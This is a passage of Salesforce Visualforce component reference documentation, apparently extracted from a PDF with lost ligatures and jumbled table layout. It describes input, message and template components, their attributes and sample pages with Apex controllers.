apex:inlineEditSupport
Attributes
Attribute Name Attribute Type
id value
Description An identier that allows other components in the page to reference the component.
String Object
The URL to the JavaScript le. Note that this can be a Yes reference to a static resource.
apex:inlineEditSupport
This component provides inline editing support to <apex:outputField> and various container components. In order to support inline editing, this component must also be within an <apex:form> tag. The <apex:inlineEditSupport> component can only be a descendant of the following tags:
<apex:dataList> <apex:dataTable> <apex:form> <apex:outputField> <apex:pageBlock> <apex:pageBlockSection> <apex:pageBlockTable> <apex:repeat>
Inline editing is not supported for rich text areas (RTAs) or dependent picklists when using <apex:outputField>. See also: the inlineEdit attribute of <apex:detail>
<!-- For this example to render properly, you must associate the Visualforce page with a valid contact record in the URL. For example, if 001D000000IRt53 is the contact ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. --> <apex:page standardController="Contact"> <apex:form > <apex:pageBlock mode="inlineEdit"> <apex:pageBlockButtons > <apex:commandButton action="{!edit}" id="editButton" value="Edit"/> <apex:commandButton action="{!save}" id="saveButton" value="Save"/> <apex:commandButton onclick="resetInlineEdit()" id="cancelButton" value="Cancel"/> </apex:pageBlockButtons> <apex:pageBlockSection > <apex:outputField value="{!contact.lastname}"> <apex:inlineEditSupport showOnEdit="saveButton, cancelButton" hideOnEdit="editButton" event="ondblclick" changedStyleClass="myBoldClass" resetFunction="resetInlineEdit"/> </apex:outputField> <apex:outputField value="{!contact.accountId}"/>
259
apex:inputCheckbox
Attributes
Attribute Name Attribute Type
changedStyleClass String disabled event
Description The name of a CSS style class used when the contents of a eld have changed. A Boolean value that indicates whether inline editing is enabled or not. If not specied, this value defaults to true. The name of a standard Javascript event, such as ondblclick or onmouseover, that triggers inline editing on a eld. A comma-separated list of button IDs. These buttons hide when inline editing is activated. An identier that allows the component to be referenced by other components in the page. A Boolean value that species whether the component is rendered on the page. If not specied, this defaults to true. The name of the Javascript function that is called when values are reset. A comma-separated list of button IDs. These buttons display when inline editing is activated.
Boolean String
hideOnEdit id rendered
21.0 21.0
Object
apex:inputCheckbox
An HTML input element of type checkbox. Use this component to get user input for a controller method that does not correspond to a eld on a Salesforce object.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid opportunity record in the URL. For example, if 001D000000IRt53 is the opportunity ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. --> <apex:page standardController="Opportunity" recordSetVar="opportunities" tabstyle="opportunity"> <apex:form id="changePrivacyForm"> <apex:pageBlock > <apex:pageMessages /> <apex:pageBlockButtons> <apex:commandButton value="Save" action="{!save}"/>
260
apex:inputCheckbox
</apex:pageBlockButtons> <apex:pageBlockTable value="{!opportunities}" var="o"> <apex:column value="{!o.name}"/> <apex:column value="{!o.account.name}"/> <apex:column headerValue="Private?"> <apex:inputCheckbox value="{!o.isprivate}"/> </apex:column> </apex:pageBlockTable> </apex:pageBlock> </apex:form> </apex:page>
261
apex:inputCheckbox
Attributes
Attribute Name Attribute Type
accesskey
Description The keyboard access key that puts the checkbox in focus. When the checkbox is in focus, a user can select or deselect the checkbox value. The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). A Boolean value that species whether this checkbox should be displayed in a disabled state. If set to true, the checkbox appears disabled. If not specied, this value defaults to false. An identier that allows the checkbox component to be referenced by other components in the page. A Boolean value that species whether the action associated with this component should happen immediately, without processing any validation rules associated with the elds on the page. If set to true, the action happens immediately and validation rules are skipped. If not specied, this value defaults to false. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the checkbox. The JavaScript invoked if the onchange event occurs--that is, if the user changes the content of the checkbox eld. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the checkbox. The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the checkbox twice. The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the checkbox. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
String
dir
String
10.0
global
disabled
Boolean
10.0
global
id immediate
String Boolean
10.0 11.0
global global
lang
String
10.0
global
onkeyup onmousedown
String String
10.0 10.0
global global
262
apex:inputCheckbox
Description The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the checkbox. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the checkbox. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. The JavaScript invoked if the onselect event occurs--that is, if the user selects the checkbox. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. A Boolean value that species whether this checkbox is a required eld. If set to true, the user must specify a value for this checkbox. If not selected, this value defaults to false. A Boolean value that species whether this checkbox should be rendered in its "checked" state. If not selected, this value defaults to false. The style used to display the inputCheckbox component, used primarily for adding inline CSS styles. The style class used to display the inputCheckbox component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The order in which this checkbox is selected compared to other page components when a user presses the Tab key repeatedly. This value must be an integer between 0 and 32767, with component 0 being the rst component that is selected when a user presses the Tab key. The text to display as a tooltip when the user's mouse pointer hovers over this component. A merge eld that references the controller class variable that is associated with this checkbox. For example, if the name of the associated variable in the controller class is myCheckbox, use value="{!myCheckbox}" to reference the variable.
String String
onmouseover
String
10.0
global
required
Boolean
10.0
global
selected
Boolean
10.0
global
style styleClass
String String
10.0 10.0
global global
tabindex
String
10.0
global
title value
String Object
10.0 10.0
global global
263
apex:inputField
apex:inputField
An HTML input element for a value that corresponds to a eld on a Salesforce object.The <apex:inputField> component respects the attributes of the associated eld, including whether the eld is required or unique, and the user interface widget to display to get input from the user. For example, if the specied <apex:inputField> component is a date eld, a calendar input widget is displayed. When used in an <apex:pageBlockSection>, <apex:inputField> tags always display with their corresponding output label. Note that if custom help is dened for the eld in Setup, the eld must be a child of an <apex:pageBlock> or <apex:pageBlockSectionItem>, and the Salesforce page header must be displayed for the custom help to appear on your Visualforce page. To override the display of custom help, use the <apex:inputField> in the body of an <apex:pageBlockSectionItem>. Consider the following when using JavaScript events with this tag: For lookup elds, mouse events re on both the text box and graphic icon For multi-select picklists, all events re, but the DOM ID is sufxed with _unselected for the left box, _selected for the right box, and _right_arrow and _left_arrow for the graphic icons For rich text areas, no events re.
Beginning with API version 20.0, an inputField matched to a eld with a default value has the default value prepopulated on the Visualforce page.
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. --> <apex:page standardController="Account"> <apex:form> <apex:pageBlock title="My Content" mode="edit"> <apex:pageBlockButtons> <apex:commandButton action="{!save}" value="Save"/> </apex:pageBlockButtons> <apex:pageBlockSection title="My Content Section" columns="2"> <apex:inputField value="{!account.name}"/> <apex:inputField value="{!account.site}"/> <apex:inputField value="{!account.type}"/> <apex:inputField value="{!account.accountNumber}"/> </apex:pageBlockSection> </apex:pageBlock> </apex:form> </apex:page>
Attributes
Attribute Name Attribute Type
id onblur
Description An identier that allows the inputField component to be referenced by other components in the page. The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the eld.
String String
264
apex:inputField
Description The JavaScript invoked if the onchange event occurs--that is, if the user changes the content of the eld. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the eld. The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the eld twice. The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the eld. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the eld. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the eld. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. The JavaScript invoked if the onselect event occurs--that is, if the user selects a checkbox associated with this eld. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. A Boolean value that species whether this inputField is a required eld. If set to true, the user must specify a value for this eld. If not selected, this value defaults to false. Note that if this input eld displays a custom object name its value can be set to nil and will not be required unless you set this attribute to true. The same does not apply to standard object names, which are always required regardless of this attribute.
Required? API Access Version 12.0 12.0 12.0 12.0 12.0 12.0 global global global global global global
onmouseover
String
12.0
global
required
Boolean
10.0
global
265
apex:inputFile
Description The CSS style used to display the inputField component. This attribute may not work for all values. If your text requires a class name, use a wrapping span tag. The CSS style class used to display the inputField component. This attribute may not work for all values. If your text requires a class name, use a wrapping span tag. A merge eld that references the Salesforce eld that is associated with this inputField. For example, if you want to display an input eld for an account's name eld, use value="{!account.name}". You cannot associate this inputField with a formula merge eld of type currency if your organization is using dated exchange rates.
String
styleClass
String
12.0
global
value
Object
10.0
global
apex:inputFile
A component that creates an input eld to upload a le.
Example
<!-- Upload a file and put it in your personal documents folder--> <!-- Page: --> <apex:page standardController="Document" extensions="documentExt"> <apex:messages /> <apex:form id="theForm"> <apex:pageBlock> <apex:pageBlockSection> <apex:inputFile value="{!document.body}" filename="{!document.name}"/> <apex:commandButton value="Save" action="{!save}"/> </apex:pageBlockSection> </apex:pageBlock> </apex:form> </apex:page> /*** Controller ***/ public class documentExt { public documentExt(ApexPages.StandardController controller) { Document d = (Document) controller.getRecord(); d.folderid = UserInfo.getUserId(); //this puts it in My Personal Documents } }
Attributes
Attribute Name Attribute Type
accept
Description Comma-delimited set of content types. This list can be used by the browser to limit the set of le options that is
String
266
apex:inputFile
Description made available for selection. If not specied, no content type list will be sent and all le types will be accessible.
The keyboard access key that puts the component in focus. An alternate text description of the component. String property that stores the uploaded le's content type. The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). A Boolean value that species whether this component should be displayed in a disabled state. If set to true, the component appears disabled. If not specied, this value defaults to false. String property that stores the uploaded le's name. Integer property that stores the uploaded le's size. An identier that allows the component to be referenced by other components in the page. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see http://www.w3.org/TR/REC-html40/struct/dirlang.html. The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the component. The JavaScript invoked if the onchange event occurs--that is, if the user changes the content of the component eld. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the component. The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the component twice. The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the component. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
disabled
Boolean
14.0
onkeyup onmousedown
String String
14.0 14.0
267
apex:inputHidden
Description The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the component. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the component. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. A Boolean value that species whether this component is a required eld. If set to true, the user must specify a value for this component. If not selected, this value defaults to false. Size of the le selection box to be displayed. The style used to display the component, used primarily for adding inline CSS styles. The style class used to display the component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The order in which this component is selected compared to other page components when a user presses the Tab key repeatedly. This value must be an integer between 0 and 32767, with component 0 being the rst component that is selected when a user presses the Tab key. The text displayed next to the component when the mouse hovers over it.
String String
onmouseover
String
14.0
rendered
Boolean
21.0
global
required
Boolean
14.0
tabindex
Integer
14.0
title value
String Blob
14.0 14.0
A merge eld that references the controller class variable Yes that is associated with this component. For example, if the name of the associated variable in the controller class is myInputFile, use value="#{myInputFile}" to reference the variable.
apex:inputHidden
An HTML input element of type hidden, that is, an input element that is invisible to the user. Use this component to pass variables from page to page.
Example
<apex:inputHidden value="{!inputValue}" id="theHiddenInput"/>
268
apex:inputSecret
Attributes
Attribute Name Attribute Type
id immediate
Description An identier that allows the inputHidden component to be referenced by other components in the page. A Boolean value that species whether the action associated with this component should happen immediately, without processing any validation rules associated with the elds on the page. If set to true, the action happens immediately and validation rules are skipped. If not specied, this value defaults to false. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. A Boolean value that species whether this inputHidden eld is a required eld. If set to true, the a value must be specied for this eld. If not selected, this value defaults to false. A merge eld that references the controller class variable that is associated with this hidden input eld. For example, if the name of the associated variable in the controller class is myHiddenVariable, use value="{!myHiddenVariable}" to reference the variable.
String Boolean
rendered
Boolean
10.0
global
required
Boolean
10.0
global
value
Object
10.0
global
apex:inputSecret
An HTML input element of type password. Use this component to get user input for a controller method that does not correspond to a eld on a Salesforce object, for a value that is masked as the user types.
Example
<apex:inputSecret value="{!inputValue}" id="theSecretInput"/>
269
apex:inputSecret
Attributes
Attribute Name Attribute Type
accesskey alt dir
Description The keyboard access key that puts the eld in focus. When the eld is in focus, a user can enter a value. An alternate text description of the eld. The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). A Boolean value that species whether this eld should be displayed in a disabled state. If set to true, the eld appears disabled. If not specied, this value defaults to false. An identier that allows the checkbox component to be referenced by other components in the page. A Boolean value that species whether the action associated with this component should happen immediately, without processing any validation rules associated with the elds on the page. If set to true, the action happens immediately and validation rules are skipped. If not specied, this value defaults to false. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. The maximum number of characters that a user can enter for this eld, expressed as an integer. The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the eld. The JavaScript invoked if the onchange event occurs--that is, if the user changes the content of the eld. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the eld. The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the eld twice. The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the eld. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
Required? API Access Version 10.0 10.0 10.0 global global global
disabled
Boolean
10.0
global
id immediate
String Boolean
10.0 11.0
global global
lang
String
10.0
global
onkeyup
String
10.0
global
270
apex:inputSecret
Description The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the eld. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the eld. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. The JavaScript invoked if the onselect event occurs--that is, if the user selects text in the eld. A Boolean value that species whether this eld is rendered as read-only. If set to true, the eld value cannot be changed. If not selected, this value defaults to false. A Boolean value that species whether a previously entered password is rendered in this form. If set to true, the previously entered value is displayed with its mask. If not specied, this value defaults to false. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. A Boolean value that species whether this eld is a required eld. If set to true, the user must specify a value for this eld. If not selected, this value defaults to false. The width of the eld, as expressed by the number of characters that can display at a time. The style used to display the inputSecret component, used primarily for adding inline CSS styles. The style class used to display the inputSecret component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The order in which this eld is selected compared to other page components when a user presses the Tab key repeatedly. This value must be an integer between 0 and 32767, with component 0 being the rst component that is selected when a user presses the Tab key. The text to display as a tooltip when the user's mouse pointer hovers over this component.
Required? API Access Version 10.0 10.0 10.0 global global global
onmouseover
String
10.0
global
redisplay
Boolean
10.0
global
rendered
Boolean
10.0
global
required
Boolean
10.0
global
tabindex
String
10.0
global
title
String
10.0
global
271
apex:inputText
Description A merge eld that references the controller class variable that is associated with this eld. For example, if the name of the associated variable in the controller class is myPasswordField, use value="{!myPasswordField}" to reference the variable.
Object
apex:inputText
An HTML input element of type text. Use this component to get user input for a controller method that does not correspond to a eld on a Salesforce object. This component does not use Salesforce styling. Also, since it does not correspond to a eld, or any other data on an object, custom code is required to use the value the user inputs.
Example
<apex:inputText value="{!inputValue}" id="theTextInput"/>
Attributes
Attribute Name Attribute Type
accesskey
Description The keyboard access key that puts the eld in focus. When the text box is in focus, a user can select or deselect the eld value. An alternate text description of the eld. The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). A Boolean value that species whether this text box should be displayed in a disabled state. If set to true, the text box appears disabled. If not specied, this value defaults to false. An identier that allows the eld component to be referenced by other components in the page. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications.
String
alt dir
String String
10.0 10.0
global global
disabled
Boolean
10.0
global
id lang
String String
10.0 10.0
global global
272
apex:inputText
Description The maximum number of characters that a user can enter for this eld, expressed as an integer. The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the eld. The JavaScript invoked if the onchange event occurs--that is, if the user changes the content of the eld. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the eld. The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the eld twice. The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the eld. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the eld. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the eld. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. A Boolean value that species whether this eld is a required eld. If set to true, the user must specify a value for this eld. If not selected, this value defaults to false. The width of the input eld, as expressed by the number of characters that can display at a time. The style used to display the inputText component, used primarily for adding inline CSS styles.
Required? API Access Version 10.0 10.0 10.0 10.0 10.0 10.0 10.0 10.0 global global global global global global global global
onmouseover
String
10.0
global
onmouseup rendered
String Boolean
10.0 10.0
global global
required
Boolean
10.0
global
size style
Integer String
10.0 10.0
global global
273
apex:inputTextarea
Description The style class used to display the inputText component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The order in which this eld is selected compared to other page components when a user presses the Tab key repeatedly. This value must be an integer between 0 and 32767, with component 0 being the rst component that is selected when a user presses the Tab key. The text to display as a tooltip when the user's mouse pointer hovers over this component. A merge eld that references the controller class variable that is associated with this eld. For example, if the name of the associated variable in the controller class is myTextField, use value="{!myTextField}" to reference the variable.
String
tabindex
String
10.0
global
title value
String Object
10.0 10.0
global global
apex:inputTextarea
A text area input element. Use this component to get user input for a controller method that does not correspond to a eld on a Salesforce object, for a value that requires a text area. This component can't be used for anything other than text.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid contract record in the URL. For example, if 001D000000IRt53 is the contract ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. --> <apex:page standardController="Contract"> <apex:form id="changeDescription"> <apex:pageBlock> <p>Current description: {!contract.description}</p> <p>Change description to:</p> <apex:inputTextarea id="newDesc" value="{!contract.description}"/><p/> <apex:commandButton value="Save" action="{!save}"/> </apex:pageBlock> </apex:form> </apex:page>
274
apex:inputTextarea
<textarea id="j_id0:changeDescription:j_id1:newDesc" name="j_id0:changeDescription:j_id1:newDesc"/> <input type="submit" name="j_id0:changeDescription:j_id1:j_id4" value="Save" class="btn" /> <!-- closing div tags --> </form>
Attributes
Attribute Name Attribute Type
accesskey cols dir
Description The keyboard access key that puts the text area in focus. When the text area is in focus, a user can enter a value. The width of the eld, as expressed by the number of characters that can display in a single row at a time. The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). A Boolean value that species whether this text area should be displayed in a disabled state. If set to true, the text area appears disabled. If not specied, this value defaults to false. An identier that allows the checkbox component to be referenced by other components in the page. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the text area. The JavaScript invoked if the onchange event occurs--that is, if the user changes the content of the text area. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the text area. The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the text area twice. The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the text area. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
Required? API Access Version 10.0 10.0 10.0 global global global
disabled
Boolean
10.0
global
id lang
String String
10.0 10.0
global global
onkeyup onmousedown
String String
10.0 10.0
global global
275
apex:inputTextarea
Description The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the text area. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the text area. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. The JavaScript invoked if the onselect event occurs--that is, if the user selects text in the text area. A Boolean value that species whether this text area should be rendered as read-only. If set to true, the text area value cannot be changed. If not selected, this value defaults to false. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. A Boolean value that species whether this text area is a required eld. If set to true, the user must specify a value for this text area. If not selected, this value defaults to false. A Boolean value that species whether this text area should save as rich text or plain text. If set to true, the value saves as rich text. If not selected, this value defaults to false. The height of the text area, as expressed by the number of rows that can display at a time. The style used to display the text area component, used primarily for adding inline CSS styles. The style class used to display the text area component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The order in which this text area is selected compared to other page components when a user presses the Tab key repeatedly. This value must be an integer between 0 and 32767, with component 0 being the rst component that is selected when a user presses the Tab key. The text to display as a tooltip when the user's mouse pointer hovers over this component. A merge eld that references the controller class variable that is associated with this text area. For example, if the
String String
onmouseover
String
10.0
global
rendered
Boolean
10.0
global
required
Boolean
10.0
global
richText
Boolean
10.0
global
tabindex
String
10.0
global
title value
String Object
10.0 10.0
global global
276
apex:insert
Description name of the associated variable in the controller class is myLongDescription, use value="{!myLongDescription}" to reference the variable.
apex:insert
A template component that declares a named area that must be dened by an <apex:define> component in another Visualforce page. Use this component with the <apex:composition> and <apex:define> components to share data between multiple pages.
Example
<!-- Page: composition --> <!-- This page acts as the template. Create it first, then the page below. --> <apex:page> <apex:outputText value="(template) This is before the header"/><br/> <apex:insert name="header"/><br/> <apex:outputText value="(template) This is between the header and body"/><br/> <apex:insert name="body"/> </apex:page> <!-- Page: page --> <apex:page> <apex:composition template="composition"> <apex:define name="header">(page) This is the header of mypage</apex:define> <apex:define name="body">(page) This is the body of mypage</apex:define> </apex:composition> </apex:page>
Attributes
Attribute Name Attribute Type
name
Description The name of the matching dene tag that provides the content to be inserted into this Visualforce page.
String
277
apex:listViews
apex:listViews
The list view picklist for an object, including its associated list of records for the currently selected view. In standard Salesforce applications this component is displayed on the main tab for a particular object. See also: <apex:enhancedList>.
<apex:page showHeader="true" tabstyle="Case"> <apex:ListViews type="Case" /> <apex:ListViews type="MyCustomObject__c" /> </apex:page>
Attributes
Attribute Name Attribute Type
id rendered
Description An identier that allows the listViews component to be referenced by other components in the page. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true.
String Boolean
type
String
The Salesforce object for which list views are displayed, Yes for example, type="Account" or type="My_Custom_Object__c".
10.0
global
Facets
Facet Name
body
Description
API Version
The components that should appear in the body of the displayed list of records. 10.0 Note that the order in which a body facet appears in a listViews component does not matter, because any facet with name="body" will control the appearance of the body of the displayed list. Also note that if you dene a body facet, it replaces the list of records that would normally display as part of the list view. The components that should appear in the footer of the displayed list of records. 10.0 Note that the order in which a footer facet appears in the body of a listViews component does not matter, because any facet with name="footer" will control the appearance of the bottom of the displayed list. The components that should appear in the header of the displayed list of records. 10.0 Note that the order in which a header facet appears in the body of a listViews component does not matter, because any facet with name="header" will control the appearance of the top of the displayed list.
footer
header
278
apex:message
apex:message
A message for a specic component, such as a warning or error. If an <apex:message> or <apex:messages> component is not included in a page, most warning and error messages are only shown in the debug log.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. --> <!-- Page: --> <apex:page controller="MyController" tabStyle="Account"> <style> .locationError { color: blue; font-weight: strong;} .employeeError { color: green; font-weight: strong;} </style> <apex:form > <apex:pageBlock title="Hello {!$User.FirstName}!"> This is your new page for the {!name} controller. <br/> You are viewing the {!account.name} account. <p>Number of Locations: <apex:inputField value="{!account.NumberofLocations__c}" id="Location_validation"/> (Enter an alphabetic character here, then click Save to see what happens.) </p> <p>Number of Employees: <apex:inputField value="{!account.NumberOfEmployees}" id="Employee_validation"/> (Enter an alphabetic character here, then click Save to see what happens.) </p> <p /> <apex:commandButton action="{!save}" value="Save"/> <p /> <apex:message for="Location_validation" styleClass="locationError" /> <p /> <apex:message for="Employee_validation" styleClass="employeeError" /> <p /> </apex:pageBlock> </apex:form> </apex:page> /*** Controller ***/ public class MyController { Account account; public PageReference save() { try{ update account; } catch(DmlException ex){ ApexPages.addMessages(ex); } return null; } public String getName() { return 'MyController'; } public Account getAccount() { if(account == null) account = [select id, name, numberofemployees, numberoflocations__c from Account
279
apex:messages
Attributes
Attribute Name Attribute Type
dir
Description The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). The ID of the component with which the message should be associated. An identier that allows the message component to be referenced by other components in the page. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The style used to display the message, used primarily for adding inline CSS styles. The style class used to display the message, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The text to display as a tooltip when the user's mouse pointer hovers over this component.
String
for id lang
rendered
Boolean
10.0
global
style styleClass
String String
10.0 10.0
global global
title
String
10.0
global
apex:messages
All messages that were generated for all components on the current page. If an <apex:message> or <apex:messages> component is not included in a page, most warning and error messages are only shown in the debug log.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. --> <!-- Page: --> <apex:page controller="MyController" tabStyle="Account"> <apex:messages /> <apex:form >
280
apex:messages
<apex:pageBlock title="Hello {!$User.FirstName}!"> This is your new page for the {!name} controller. <br/> You are viewing the {!account.name} account. <p>Number of Locations: <apex:inputField value="{!account.NumberofLocations__c}" id="Location_validation"/> (Enter an alphabetic character here, then click save to see what happens.) </p> <p>Number of Employees: <apex:inputField value="{!account.NumberOfEmployees}" id="Employee_validation"/> (Enter an alphabetic character here, then click save to see what happens.) </p> <p /> <apex:commandButton action="{!save}" value="Save"/> <p /> </apex:pageBlock> </apex:form> </apex:page> /*** Controller ***/ public class MyController { Account account; public PageReference save() { try{ update account; } catch(DmlException ex){ ApexPages.addMessages(ex); } return null; } public String getName() { return 'MyController'; } public Account getAccount() { if(account == null) account = [select id, name, numberofemployees, numberoflocations__c from Account where id = :ApexPages.currentPage().getParameters().get('id')]; return account; } }
Attributes
Attribute Name Attribute Type
dir
Description The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). A Boolean value that species whether only messages that are not associated with any client ID are displayed. If not specied, this value defaults to false. An identier that allows the message component to be referenced by other components in the page. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications.
String
globalOnly
Boolean
10.0
global
id lang
String String
10.0 10.0
global global
281
apex:outputField
Description The type of layout used to display the error messages. Possible values for this attribute include "list" or "table". If not specied, this value defaults to "list". A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The style used to display the messages, used primarily for adding inline CSS styles. The style class used to display the messages, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The text to display as a tooltip when the user's mouse pointer hovers over this component.
String
rendered
Boolean
10.0
global
style styleClass
String String
10.0 10.0
global global
title
String
10.0
global
apex:outputField
